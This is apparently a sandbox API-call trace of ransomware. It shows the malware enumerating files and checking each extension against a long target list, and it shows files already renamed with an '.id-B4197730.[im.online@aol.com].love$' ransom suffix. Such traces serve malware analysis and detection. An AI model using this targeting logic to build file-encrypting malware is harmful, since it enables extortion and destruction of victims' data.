(lpString1=".potx", lpString2="a.rtf") returned -1 [0097.032] lstrlenW (lpString=".ppa") returned 4 [0097.032] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0097.032] lstrlenW (lpString=".ppam") returned 5 [0097.032] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0097.033] lstrlenW (lpString=".ppm") returned 4 [0097.033] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0097.033] lstrlenW (lpString=".pps") returned 4 [0097.033] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0097.033] lstrlenW (lpString=".ppsm") returned 5 [0097.033] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0097.033] lstrlenW (lpString=".ppt") returned 4 [0097.033] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0097.033] lstrlenW (lpString=".pptm") returned 5 [0097.033] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0097.033] lstrlenW (lpString=".pptx") returned 5 [0097.033] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0097.033] lstrlenW (lpString=".prn") returned 4 [0097.033] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0097.033] lstrlenW (lpString=".ps") returned 3 [0097.033] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0097.033] lstrlenW (lpString=".psb") returned 4 [0097.033] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0097.033] lstrlenW (lpString=".psd") returned 4 [0097.033] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0097.033] lstrlenW (lpString=".pst") returned 4 [0097.033] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0097.033] lstrlenW (lpString=".ptx") returned 4 [0097.033] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0097.033] lstrlenW (lpString=".pub") returned 4 [0097.034] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0097.034] lstrlenW (lpString=".pwm") returned 4 [0097.034] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0097.034] lstrlenW (lpString=".pxr") returned 4 [0097.034] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0097.034] lstrlenW (lpString=".py") returned 3 [0097.034] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0097.034] lstrlenW (lpString=".qt") returned 3 [0097.034] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0097.034] lstrlenW (lpString=".r3d") returned 4 [0097.034] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0097.034] lstrlenW (lpString=".raf") returned 4 [0097.034] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0097.034] lstrlenW (lpString=".rar") returned 4 [0097.034] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0097.034] FindNextFileW (in: hFindFile=0x3e501c0, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0097.034] FindNextFileW (in: hFindFile=0x3e501c0, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa58c4089, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa58c4089, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5910483, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0097.035] FindNextFileW (in: hFindFile=0x3e501c0, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa58c4089, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa58c4089, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5910483, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0097.035] FindClose (in: hFindFile=0x3e501c0 | out: hFindFile=0x3e501c0) returned 1 [0097.035] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0097.035] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1 [0097.035] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38c1270 [0097.035] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032") returned 26 [0097.035] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50300 [0097.035] FindNextFileW (in: hFindFile=0x3e50300, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.035] FindNextFileW (in: hFindFile=0x3e50300, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0097.035] lstrlenW (lpString="eula.rtf") returned 8 [0097.035] lstrlenW (lpString=".1cd") returned 4 [0097.035] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0097.036] lstrlenW (lpString=".3ds") returned 4 [0097.036] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0097.036] lstrlenW (lpString=".3fr") returned 4 [0097.036] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0097.036] lstrlenW (lpString=".3g2") returned 4 [0097.036] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0097.036] lstrlenW (lpString=".3gp") returned 4 [0097.036] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0097.036] lstrlenW (lpString=".7z") returned 3 [0097.036] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0097.036] lstrlenW (lpString=".accda") returned 6 [0097.036] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0097.036] lstrlenW (lpString=".accdb") returned 6 [0097.036] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0097.036] lstrlenW (lpString=".accdc") returned 6 [0097.036] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0097.036] lstrlenW (lpString=".accde") returned 6 [0097.036] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0097.036] lstrlenW (lpString=".accdt") returned 6 [0097.036] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0097.036] lstrlenW (lpString=".accdw") returned 6 [0097.036] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0097.036] lstrlenW (lpString=".adb") returned 4 [0097.036] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0097.036] lstrlenW (lpString=".adp") returned 4 [0097.036] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0097.036] lstrlenW (lpString=".ai") returned 3 [0097.036] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0097.037] lstrlenW (lpString=".ai3") returned 4 [0097.037] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0097.037] lstrlenW (lpString=".ai4") returned 4 [0097.037] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0097.037] lstrlenW (lpString=".ai5") returned 4 [0097.037] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0097.037] lstrlenW (lpString=".ai6") returned 4 [0097.037] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0097.037] lstrlenW (lpString=".ai7") returned 4 [0097.037] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0097.037] lstrlenW (lpString=".ai8") returned 4 [0097.037] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0097.037] lstrlenW (lpString=".anim") returned 5 [0097.037] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0097.037] lstrlenW (lpString=".arw") returned 4 [0097.037] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0097.037] lstrlenW (lpString=".as") returned 3 [0097.037] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0097.037] lstrlenW (lpString=".asa") returned 4 [0097.037] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0097.037] lstrlenW (lpString=".asc") returned 4 [0097.037] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0097.037] lstrlenW (lpString=".ascx") returned 5 [0097.037] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0097.037] lstrlenW (lpString=".asm") returned 4 [0097.037] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0097.037] lstrlenW (lpString=".asmx") returned 5 [0097.037] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0097.037] lstrlenW (lpString=".asp") returned 4 [0097.037] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0097.038] lstrlenW (lpString=".aspx") returned 5 [0097.038] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0097.038] lstrlenW (lpString=".asr") returned 4 [0097.038] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0097.038] lstrlenW (lpString=".asx") returned 4 [0097.038] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0097.038] lstrlenW (lpString=".avi") returned 4 [0097.038] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0097.038] lstrlenW (lpString=".avs") returned 4 [0097.038] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0097.038] lstrlenW (lpString=".backup") returned 7 [0097.038] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0097.038] lstrlenW (lpString=".bak") returned 4 [0097.038] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0097.038] lstrlenW (lpString=".bay") returned 4 [0097.038] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0097.056] lstrlenW (lpString=".bd") returned 3 [0097.056] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0097.056] lstrlenW (lpString=".bin") returned 4 [0097.056] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0097.056] lstrlenW (lpString=".bmp") returned 4 [0097.056] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0097.056] lstrlenW (lpString=".bz2") returned 4 [0097.056] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0097.056] lstrlenW (lpString=".c") returned 2 [0097.056] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0097.056] lstrlenW (lpString=".cdr") returned 4 [0097.056] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0097.056] lstrlenW (lpString=".cer") returned 4 [0097.056] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0097.057] lstrlenW (lpString=".cf") returned 3 [0097.057] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0097.057] lstrlenW (lpString=".cfc") returned 4 [0097.057] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0097.057] lstrlenW (lpString=".cfm") returned 4 [0097.057] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0097.057] lstrlenW (lpString=".cfml") returned 5 [0097.057] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0097.057] lstrlenW (lpString=".cfu") returned 4 [0097.057] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0097.057] lstrlenW (lpString=".chm") returned 4 [0097.057] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0097.057] lstrlenW (lpString=".cin") returned 4 [0097.057] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0097.057] lstrlenW (lpString=".class") returned 6 [0097.057] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0097.057] lstrlenW (lpString=".clx") returned 4 [0097.057] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0097.057] lstrlenW (lpString=".config") returned 7 [0097.057] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0097.057] lstrlenW (lpString=".cpp") returned 4 [0097.057] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0097.057] lstrlenW (lpString=".cr2") returned 4 [0097.057] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0097.057] lstrlenW (lpString=".crt") returned 4 [0097.057] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0097.057] lstrlenW (lpString=".crw") returned 4 [0097.057] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0097.058] lstrlenW (lpString=".cs") returned 3 [0097.058] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0097.058] lstrlenW (lpString=".css") returned 4 [0097.058] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0097.058] lstrlenW (lpString=".csv") returned 4 [0097.058] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0097.058] lstrlenW (lpString=".cub") returned 4 [0097.058] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0097.058] lstrlenW (lpString=".dae") returned 4 [0097.058] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0097.058] lstrlenW (lpString=".dat") returned 4 [0097.058] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0097.058] lstrlenW (lpString=".db") returned 3 [0097.058] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0097.058] lstrlenW (lpString=".dbf") returned 4 [0097.058] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0097.058] lstrlenW (lpString=".dbx") returned 4 [0097.058] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0097.058] lstrlenW (lpString=".dc3") returned 4 [0097.058] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0097.058] lstrlenW (lpString=".dcm") returned 4 [0097.058] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0097.058] lstrlenW (lpString=".dcr") returned 4 [0097.058] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0097.058] lstrlenW (lpString=".der") returned 4 [0097.058] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0097.058] lstrlenW (lpString=".dib") returned 4 [0097.058] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0097.059] lstrlenW (lpString=".dic") returned 4 [0097.059] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0097.059] lstrlenW (lpString=".dif") returned 4 [0097.059] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0097.059] lstrlenW (lpString=".divx") returned 5 [0097.059] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0097.059] lstrlenW (lpString=".djvu") returned 5 [0097.059] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0097.059] lstrlenW (lpString=".dng") returned 4 [0097.059] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0097.059] lstrlenW (lpString=".doc") returned 4 [0097.059] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0097.059] lstrlenW (lpString=".docm") returned 5 [0097.059] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0097.059] lstrlenW (lpString=".docx") returned 5 [0097.059] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0097.059] lstrlenW (lpString=".dot") returned 4 [0097.059] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0097.059] lstrlenW (lpString=".dotm") returned 5 [0097.059] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0097.059] lstrlenW (lpString=".dotx") returned 5 [0097.059] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0097.059] lstrlenW (lpString=".dpx") returned 4 [0097.059] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0097.059] lstrlenW (lpString=".dqy") returned 4 [0097.059] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0097.059] lstrlenW (lpString=".dsn") returned 4 [0097.059] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0097.060] lstrlenW (lpString=".dt") returned 3 [0097.060] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0097.060] lstrlenW (lpString=".dtd") returned 4 [0097.060] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0097.060] lstrlenW (lpString=".dwg") returned 4 [0097.060] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0097.060] lstrlenW (lpString=".dwt") returned 4 [0097.060] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0097.060] lstrlenW (lpString=".dx") returned 3 [0097.060] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0097.060] lstrlenW (lpString=".dxf") returned 4 [0097.060] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0097.060] lstrlenW (lpString=".edml") returned 5 [0097.060] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0097.060] lstrlenW (lpString=".efd") returned 4 [0097.060] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0097.060] lstrlenW (lpString=".elf") returned 4 [0097.060] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0097.060] lstrlenW (lpString=".emf") returned 4 [0097.060] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0097.060] lstrlenW (lpString=".emz") returned 4 [0097.060] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0097.060] lstrlenW (lpString=".epf") returned 4 [0097.060] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0097.060] lstrlenW (lpString=".eps") returned 4 [0097.060] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0097.060] lstrlenW (lpString=".epsf") returned 5 [0097.060] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0097.060] lstrlenW (lpString=".epsp") returned 5 [0097.061] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0097.061] lstrlenW (lpString=".erf") returned 4 [0097.061] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0097.061] lstrlenW (lpString=".exr") returned 4 [0097.061] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0097.061] lstrlenW (lpString=".f4v") returned 4 [0097.061] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0097.061] lstrlenW (lpString=".fido") returned 5 [0097.061] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0097.061] lstrlenW (lpString=".flm") returned 4 [0097.061] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0097.061] lstrlenW (lpString=".flv") returned 4 [0097.061] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0097.061] lstrlenW (lpString=".frm") returned 4 [0097.061] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0097.061] lstrlenW (lpString=".fxg") returned 4 [0097.061] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0097.061] lstrlenW (lpString=".geo") returned 4 [0097.061] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0097.061] lstrlenW (lpString=".gif") returned 4 [0097.061] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0097.061] lstrlenW (lpString=".grs") returned 4 [0097.061] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0097.061] lstrlenW (lpString=".gz") returned 3 [0097.061] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0097.061] lstrlenW (lpString=".h") returned 2 [0097.061] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0097.061] lstrlenW (lpString=".hdr") returned 4 [0097.062] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0097.062] lstrlenW (lpString=".hpp") returned 4 [0097.062] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0097.062] lstrlenW (lpString=".hta") returned 4 [0097.062] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0097.062] lstrlenW (lpString=".htc") returned 4 [0097.062] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0097.062] lstrlenW (lpString=".htm") returned 4 [0097.062] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0097.062] lstrlenW (lpString=".html") returned 5 [0097.062] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0097.062] lstrlenW (lpString=".icb") returned 4 [0097.062] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0097.062] lstrlenW (lpString=".ics") returned 4 [0097.062] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0097.062] lstrlenW (lpString=".iff") returned 4 [0097.062] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0097.062] lstrlenW (lpString=".inc") returned 4 [0097.062] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0097.062] lstrlenW (lpString=".indd") returned 5 [0097.062] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0097.062] lstrlenW (lpString=".ini") returned 4 [0097.062] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0097.062] lstrlenW (lpString=".iqy") returned 4 [0097.062] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0097.062] lstrlenW (lpString=".j2c") returned 4 [0097.062] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0097.062] lstrlenW (lpString=".j2k") returned 4 [0097.063] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0097.063] lstrlenW (lpString=".java") returned 5 [0097.063] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0097.063] lstrlenW (lpString=".jp2") returned 4 [0097.063] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0097.063] lstrlenW (lpString=".jpc") returned 4 [0097.063] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0097.063] lstrlenW (lpString=".jpe") returned 4 [0097.063] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0097.063] lstrlenW (lpString=".jpeg") returned 5 [0097.063] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0097.063] lstrlenW (lpString=".jpf") returned 4 [0097.063] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0097.063] lstrlenW (lpString=".jpg") returned 4 [0097.063] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0097.063] lstrlenW (lpString=".jpx") returned 4 [0097.063] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0097.063] lstrlenW (lpString=".js") returned 3 [0097.063] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0097.063] lstrlenW (lpString=".jsf") returned 4 [0097.063] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0097.063] lstrlenW (lpString=".json") returned 5 [0097.063] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0097.063] lstrlenW (lpString=".jsp") returned 4 [0097.063] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0097.063] lstrlenW (lpString=".kdc") returned 4 [0097.063] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0097.063] lstrlenW (lpString=".kmz") returned 4 [0097.063] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0097.064] lstrlenW (lpString=".kwm") returned 4 [0097.064] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0097.064] lstrlenW (lpString=".lasso") returned 6 [0097.064] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0097.064] lstrlenW (lpString=".lbi") returned 4 [0097.064] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0097.064] lstrlenW (lpString=".lgf") returned 4 [0097.064] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0097.064] lstrlenW (lpString=".lgp") returned 4 [0097.064] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0097.064] lstrlenW (lpString=".log") returned 4 [0097.064] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0097.064] lstrlenW (lpString=".m1v") returned 4 [0097.064] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0097.064] lstrlenW (lpString=".m4a") returned 4 [0097.064] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0097.064] lstrlenW (lpString=".m4v") returned 4 [0097.064] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0097.064] lstrlenW (lpString=".max") returned 4 [0097.065] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0097.065] lstrlenW (lpString=".md") returned 3 [0097.065] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0097.065] lstrlenW (lpString=".mda") returned 4 [0097.065] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0097.065] lstrlenW (lpString=".mdb") returned 4 [0097.065] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0097.065] lstrlenW (lpString=".mde") returned 4 [0097.065] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0097.065] lstrlenW (lpString=".mdf") returned 4 [0097.065] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0097.065] lstrlenW (lpString=".mdw") returned 4 [0097.065] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0097.065] lstrlenW (lpString=".mef") returned 4 [0097.065] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0097.065] lstrlenW (lpString=".mft") returned 4 [0097.065] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0097.065] lstrlenW (lpString=".mfw") returned 4 [0097.065] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0097.065] lstrlenW (lpString=".mht") returned 4 [0097.065] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0097.065] lstrlenW (lpString=".mhtml") returned 6 [0097.084] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0097.084] lstrlenW (lpString=".mka") returned 4 [0097.084] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0097.084] lstrlenW (lpString=".mkidx") returned 6 [0097.084] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 